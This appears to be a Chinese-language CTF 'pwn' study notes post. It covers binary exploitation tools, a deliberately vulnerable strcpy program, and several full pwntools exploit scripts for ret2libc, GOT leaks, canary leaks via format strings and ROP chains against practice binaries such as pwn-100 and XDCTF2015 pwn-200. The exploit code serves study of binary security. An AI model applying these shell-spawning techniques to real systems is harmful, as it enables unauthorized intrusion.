PWN简介
pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。pwn是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵Linux下的pwn常用到的工具有:
gdb:Linux调试中必要用到的
gdb-peda:gdb方便调试的工具,类似的工具有gef,gdbinit,这些工具的安装可以参考:http://blog.csdn.net/gatieme/article/details/63254211
pwntools:写exp和poc的利器
checksec:可以很方便的知道elf程序的安全性和程序的运行平台
objdump和readelf:可以很快的知道elf程序中的关键信息
ida pro :强大的反编译工具
ROPgadget:强大的rop利用工具
one_gadget:可以快速的寻找libc中的调用exec(‘bin/sh’)的位置
libc-database: 可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本
1、file命令
file命令可以查看文件类型
2、strings命令
strings命令可以解析文件的字符串并打印出来
3.IDA远程调试
Linux下栈缓冲区溢出实验
创建一个简单的C程序:
#include
#include
void hello()
{
printf(“Execution Hijacked\n”);
}
int fun(char *str)
{
char buf[10];
strcpy(buf, str);
printf("%s\n", buf);
return 0;
}
int main(int argc, char **argv)
{
int i=0;
char *str;
str=argv[1];
fun(str);
return 0;
}
gcc -g -fno-stack-protector -z execstack -o overflowtest overflow_test.c
-fno-stack-protector 参数用于去掉栈保护
-z execstack 关闭栈的可执行保护
在linux下执行overflowtest可以看到程序输出报告段错误
接下来要用到gdb调试了,为方便首先安装gdb-peda,安装方法很简单
在 https://github.com/longld/peda.git下载peda插件
重命名mv peda-master peda
echo “source ~/peda/peda.py” >> ~/.gdbinit
这样就安装好了peda插件
然后就可以调试了
gdb overflowtest
常见的漏洞函数:
write函数
write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。write函数的优点是可以读取任意长度的内存信息,即它的打印长度只受len参数控制,缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰
puts函数
puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。
其他需要注意的地址
在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈。
绕过栈溢出保护的首选办法就是想办法得到canary的值,因为程序每次load的时候canary都不同,但是一个进程中的所有方法的金丝雀的值都相同。
之前做的利用动态链接库获取shell的脚本:
from pwn import *
p=process(’./level3’)
elf=ELF(’./level3’) #获取文件对象
libc = ELF(’/lib/i386-linux-gnu/libc.so.6’) #获取lib库对象
#64bit的/lib/x86_64-linux-gnu/libc.so.6
#获取函数地址
write_plt=elf.plt[‘write’]
write_got=elf.got[‘write’]
main_addr=elf.sym[‘main’]
p.recvuntil(“Input:\n”)
payload=0x88*‘a’+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_got_addr=u32(p.recv()[:4])
print hex(write_got_addr)
libc_base=write_got_addr-libc.sym[‘write’]
print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym[‘system’]
print(‘system_addr’,hex(system_addr))
#计算字符串 /bin/sh 的地址。
bin_sh_addr = libc_base + libc.search(’/bin/sh’).next()
print (‘bin_sh_addr’,hex(bin_sh_addr))
payload2=0x88*‘a’+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
pause()
p.sendline(payload2)
pause()
p.interactive()
两种泄露libc 的方法:
1.通过LibcSearcher
输入参数addr来源于通过puts函数泄露的elf.got(“read”)的地址
#libc 数据库查询
obj = LibcSearcher(“read”,addr)
#得到 libc 加载地址
libc_base = addr - obj.dump(‘read’)
#获得 system 地址
system_addr = obj.dump(“system”) + libc_base
#获得/bin/sh 地址
binsh_addr = obj.dump(“str_bin_sh”) + libc_base
构造payload
1.通过Dynelf查找libc(put函数泄露)
def leak(addr):
up = ‘’
content = ‘’
payload = ‘A’*0x48
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(puts_addr)
payload += p64(start_addr)
payload = payload.ljust(200, ‘B’)
p.send(payload)
p.recvuntil(“bye~\n”)
while True: #防止未接受完整传回的数据
c = p.recv(numb=1, timeout=0.1)
if up == ‘\n’ and c == “”:
content = content[:-1]+’\x00’
break
else:
content += c
up = c
content = content[:4]
return content
d = DynELF(leak, elf=elf)
system_addr = d.lookup(‘system’, ‘libc’)
攻防世界pwn-100实验exp
#coding:utf-8
from pwn import *
#import LibcSearcher
#context.log_level = “debug”
p = process(’./pwn-100’)
context(arch=“amd64”,os=“linux”,log_level=“debug”)
context.terminal=[“tmux”,“splitw”,"-h"]
gdb.attach(p,“b *0x40072a”)
#p = remote(‘111.198.29.45’, 48592)
pwn100_elf = ELF(’./pwn-100’)
libc = ELF(’/lib/x86_64-linux-gnu/libc.so.6’)
puts_plt = pwn100_elf.plt[‘puts’]
puts_got = pwn100_elf.got[‘puts’]
read_got = pwn100_elf.got[‘read’]
#main_addr = 0x400550
main_addr = 0x40068E
pop_rdi = 0x400763
#log.info("puts_got = " + hex(puts_got)) #return to the stack of main:read #because echo read untill \x00 #so read until \x9c\x08\x40\x00\x00\x00…
padding_front = ‘A’ * 0x40 + p64(0xdeadbeaf)
#puts address leak
payload = padding_front + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, ‘\x00’)
p.send(payload)
p.recvuntil(“bye~\n”)
put_addr_libc = u64(p.recv().split("\n")[0].ljust(8,’\x00’))
log.info("put_addr_libc = " + hex(put_addr_libc))
#read address leak
payload = padding_front + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, ‘\x00’)
p.send(payload)
p.recvuntil(“bye~\n”)
read_addr_libc = u64(p.recv().split("\n")[0].ljust(8,’\x00’))
log.info("read_addr_libc = " + hex(read_addr_libc))
#find Libc , system , bin/sh address w
libc_base=put_addr_libc-libc.sym[‘puts’]
print(“libc_base”,hex(libc_base))
libc_base=read_addr_libc-libc.sym[‘read’]
print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym[‘system’]
print(‘system_addr’,hex(system_addr))
#计算字符串 /bin/sh 的地址
bin_sh_addr = libc_base + libc.search(’/bin/sh’).next()
print (‘bin_sh_addr’,hex(bin_sh_addr))
log.info("system_addr = " + hex(system_addr))
log.info("bin_sh_addr = " + hex(bin_sh_addr))
pause()
#pwn now
payload = padding_front + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
payload = payload.ljust(200, ‘a’) # don’t recv .can’t recv any thing # p.recvuntil(“RCTF\n”)
p.send(payload)
sleep(2)
p.interactive()
Canary绕过及printf格式化字符串漏洞利用
#!/usr/bin/python
from pwn import *
import binascii
#p=remote(“111.198.29.45”,“47959”)
p=process("./Mary_Morton")
#context.log_level=‘Debug’
#gdb.attach(p,"b 0x4009D9")
def fun1(input):
#p.recvuntil(“3. Exit the battle”)
p.sendline(str(1))
p.sendline(input)
def fun2(input):
p.recvuntil(“3. Exit the battle”)
p.sendline(str(2))
p.sendline(input)
#fun1("A"0x100)
#raw_input(“enter after click c in the gdb”) #Debug
#fun2(“8%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p”)
#leak canary
fun2(“4%23$p”)
p.recvline()
p.recv(1)
can=p.recv(18)[2:18]
#print "[]canary => "+can
can_int=int(can,16)
print "[]canary => "+hex(can_int)
#Overflow
flag=0x4008da
#fun1(“A”*0x88+p64(can_int)+p64(0)+p64(0x000000000040065d)+p64(0)+p64(flag))
fun1(“A”*0x88+p64(can_int)+p64(0)+p64(flag))
p.interactive()
Printf格式化字符串溢出测试:
aaaaaaaaaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x
通过write函数泄露地址
payload = “A” * 112
payload += p32(write_plt)
payload += p32(vulnaddress)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
p.sendlineafter(“XDCTF2015~!\n”,payload)
print(“p.recv”,hex(u32(p.recv(4))))
通过puts函数泄露地址
payload = padding_front + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, ‘\x00’)
p.send(payload)
p.recvuntil(“bye~\n”)
put_addr_libc = u64(p.recv().split("\n")[0].ljust(8,’\x00’))
log.info("put_addr_libc = " + hex(put_addr_libc))
#!/usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level=‘debug’
p = process(’./pwn-200’)
elf = ELF("./pwn-200")
write_got = elf.got[‘write’]
write_plt = elf.plt[‘write’]
read_got = elf.got[‘read’]
read_plt = elf.plt[‘read’]
main = 0x80484be
vuln = 0x8048484
bss_addr = 0x0804a050
ppprAddress = 0x0804856c
p.recvuntil(“Welcome to XDCTF2015~!\n”)
#libc 数据库查询
obj = LibcSearcher(“read”,addr)
#得到 libc 加载地址
libc_base = addr - obj.dump(‘read’)
#获得 system 地址
system_addr = obj.dump(“system”) + libc_base
#获得/bin/sh 地址
binsh_addr = obj.dump(“str_bin_sh”) + libc_base
payload1 = “A” * 112
payload1 += p32(main)
p.send(payload1)
print p.recv()
payload = “A”*112
payload += p32(read_plt)
payload += p32(ppprAddress)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system_addr)
payload += ‘b’*4
payload += p32(bss_addr)
p.send(payload)
p.send("/bin/sh\0")
p.interactive()
from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols[‘write’]
writegot = elf.got[‘write’]
readplt = elf.symbols[‘read’]
readgot = elf.got[‘read’]
vulnaddress = 0x08048484
startaddress = 0x080483d0 #调用start函数,用以恢复栈
bssaddress = 0x0804a020 #用来写入“/bin/sh”字符串
def leak(address):
payload = “A” * 112
payload += p32(writeplt)
payload += p32(vulnaddress)
payload += p32(1)
payload += p32(address)
payload += p32(4)
p.send(payload)
data = p.recv(4)
print “%#x => %s” % (address, (data or ‘’).encode(‘hex’))
return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", “libc”)
print “systemAddress:”, hex(systemAddress)
#调用_start函数,恢复栈
payload1 = “A” * 112
payload1 += p32(startaddress)
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c #获取到的连续3次pop操作的gadget的地址
payload1 = “A” * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send(’/bin/sh’)
p.interactive()
Pwn-200选择2个libc库家竟然好用了,程序如下:
#coding =utf-8
from pwn import *
from LibcSearcher import LibcSearcher
p = process("./pwn-200")
elf = ELF("./pwn-200")
writeplt = elf.symbols[‘write’]
writegot = elf.got[‘write’]
readplt = elf.symbols[‘read’]
readgot = elf.got[‘read’]
#main_addr=elf.symbols[‘main’]
vulnaddress = 0x08048484
startaddress = 0x080483d0
bssaddress = 0x0804a020
#leak write address
payload = “A” * 112
payload += p32(writeplt)
payload += p32(startaddress)
payload += p32(1)
payload += p32(writegot)
payload += p32(4)
p.recvuntil(‘Welcome to XDCTF2015~!\n’)
p.send(payload)
write_got_address=u32(p.recv(4))
#print “%#x => %s” % (address, (data or ‘’).encode(‘hex’))
obj=LibcSearcher(“write”,write_got_address)
libc_base=write_got_address-obj.dump(‘write’)
system_addr=obj.dump(“system”)+libc_base
binsh_addr=obj.dump(“str_bin_sh”)+libc_base
payload1 = “A” * 112
payload1 += p32(system_addr)
payload1 += p32(0xdeadbeef)
payload1 += p32(binsh_addr)
#payload1 += p32(bssaddress)
p.recvuntil(‘Welcome to XDCTF2015~!\n’)
p.send(payload1)
p.interactive()
从中可以看出,不同的libc库不一定有“bin/sh”字符串,所以可能的话还是尽可能的通过read将字符串赋值到某个地址上,继续修改程序通过read函数读入“bin/sh”字符串
payload1 = “A” * 112
payload1 += p32(readplt)
payload1 += p32(system_addr)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(bssaddress)
p.recvuntil(‘Welcome to XDCTF2015~!\n’)
p.send(payload1)
p.send(’/bin/sh\0’)
p.interactive()
但是这种情况只能执行一次shell命令,不知道为啥,这样写就完全没有问题了
ppprAddress = 0x0804856c
payload1 = “A” * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(system_addr) + p32(vulnaddress) + p32(bssaddress)
p.recvuntil(‘Welcome to XDCTF2015~!\n’)
p.send(payload1)
p.send(’/bin/sh\0’)
p.interactive()
使用ROPgadget --binary pwn-200构造一个 generalgadget 链
由于readplt有三个参数,所以选择0x0804856c 三个pop,解决问题